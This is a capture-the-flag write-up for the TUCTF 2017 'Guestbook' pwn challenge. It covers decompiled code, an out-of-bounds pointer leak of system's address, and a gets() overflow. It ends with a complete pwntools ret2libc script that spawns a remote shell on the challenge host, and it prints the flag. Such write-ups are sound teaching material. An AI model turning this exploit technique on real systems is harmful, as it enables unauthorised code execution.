TUCTF 2017: Guestbook (250)

We are given an ELF executable file, guestbook and a service for the executable. Our goal is to spawn a shell from the service. Decompiling guestbook with IDA will yield this C pseudo-code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-98h]@16
  int v5; // [sp+64h] [bp-34h]@11
  int v6; // [sp+68h] [bp-30h]@7
  char *dest[4]; // [sp+6Ch] [bp-2Ch]@2
  char v8; // [sp+7Fh] [bp-19h]@5
  int (**v9)(const char *); // [sp+80h] [bp-18h]@4
  char **v10; // [sp+84h] [bp-14h]@4
  char *v11; // [sp+88h] [bp-10h]@2
  char v12; // [sp+8Fh] [bp-9h]@4
  int i; // [sp+90h] [bp-8h]@1

  setvbuf(stdout, 0, 2, 0x14u);
  puts("Please setup your guest book:");
  for ( i = 0; i <= 3; ++i )
  {
    printf("Name for guest: #%d\n>>>", i);
    v11 = (char *)malloc(0xFu);
    __isoc99_scanf("%15s", v11);
    v11[14] = 0;
    dest[i] = v11;
  }
  v10 = dest;
  v9 = &system;
  v12 = 1;
  while ( v12 )
  {
    do
      v8 = getchar();
    while ( v8 != 10 && v8 != -1 );
    puts("---------------------------");
    puts("1: View name");
    puts("2: Change name");
    puts("3. Quit");
    printf(">>");
    v6 = 0;
    __isoc99_scanf("%d", &v6);
    switch ( v6 )
    {
      case 2:
        printf("Which entry do you want to change?\n>>>");
        v5 = -1;
        __isoc99_scanf("%d", &v5);
        if ( v5 >= 0 )
        {
          printf("Enter the name of the new guest.\n>>>");
          do
            v8 = getchar();
          while ( v8 != 10 && v8 != -1 );
          gets(&s);
          strcpy(dest[v5], &s);
        }
        else
        {
          puts("Enter a valid number");
        }
        break;
      case 3:
        v12 = 0;
        break;
      case 1:
        readName((int)dest);
        break;
      default:
        puts("Not a valid option. Try again");
        break;
    }
  }
  return 0;
}

The gets function is pretty tempting to exploit. Unfortunately, we're not given a function to print flag, so we can only solve this with ret2libc. This means we'll need to leak libc base address to pwn this binary. We'll use readName function to do this. Here's the readName function after we decompile it with IDA:

int __cdecl readName(int a1)
{
  int result; // eax@2
  int v2; // [sp+0h] [bp-8h]@1

  printf("Which entry do you want to view?\n>>>");
  v2 = -1;
  __isoc99_scanf("%d", &v2);
  if ( v2 >= 0 )
    result = puts(*(const char **)(4 * v2 + a1));
  else
    result = puts("Enter a valid number");
  return result;
}

Leaking the libc base address can be done by calling readName and give 6 as input. This will make puts to write the content of the address pointed by v10, which is pointing to dest. Since dest is an array filled with malloc'ed address, it will continue to leak the system address on v9. This is possible because the binary is 32-bit and malloc'ed address in 32-bit generally doesn't have any 0x00 byte (unless you're super unlucky).

After we got the system address, we can create the ROP and get the shell. Here's the script to get the shell:

from pwn import *

def debug(p):
    util.proc.wait_for_debugger(util.proc.pidof(p)[0])

# p = process('./guestbook')
p = remote('guestbook.tuctf.com', 4545)

p.sendline('a')
p.sendline('b')
p.sendline('c')
p.sendline('d')

p.sendline('1')
p.sendline('6')
p.recvuntil('view?\n>>>')
p.recvline()
system_addr = unpack(p.recvline()[:4])
bin_sh_addr = system_addr + 0x15f551 - 0x3e3e0
print(hex(system_addr))
print(hex(bin_sh_addr))

# debug(p)

rop = pack(system_addr) + pack(0x41414141) + pack(bin_sh_addr)
payload = 'A' * 0x2c + pack(0x41414141) + rop
p.sendline('2')
p.sendline('6')
p.sendline(payload)

p.sendline('')
p.sendline('3')

p.interactive()

Flag is: TUCTF{k33p_17_up_k1d}

P.S. Here I used /bin/sh string found in libc, which can be computed by getting the libc with the md5 provided from the challenge and then calculate it relative to system address that we found. You should be able to do it by giving one of the guest name to /bin/sh and then give the address to system. The address can be found when we leak libc base address.

Related Posts

TUCTF 2017: Crypto Clock (300)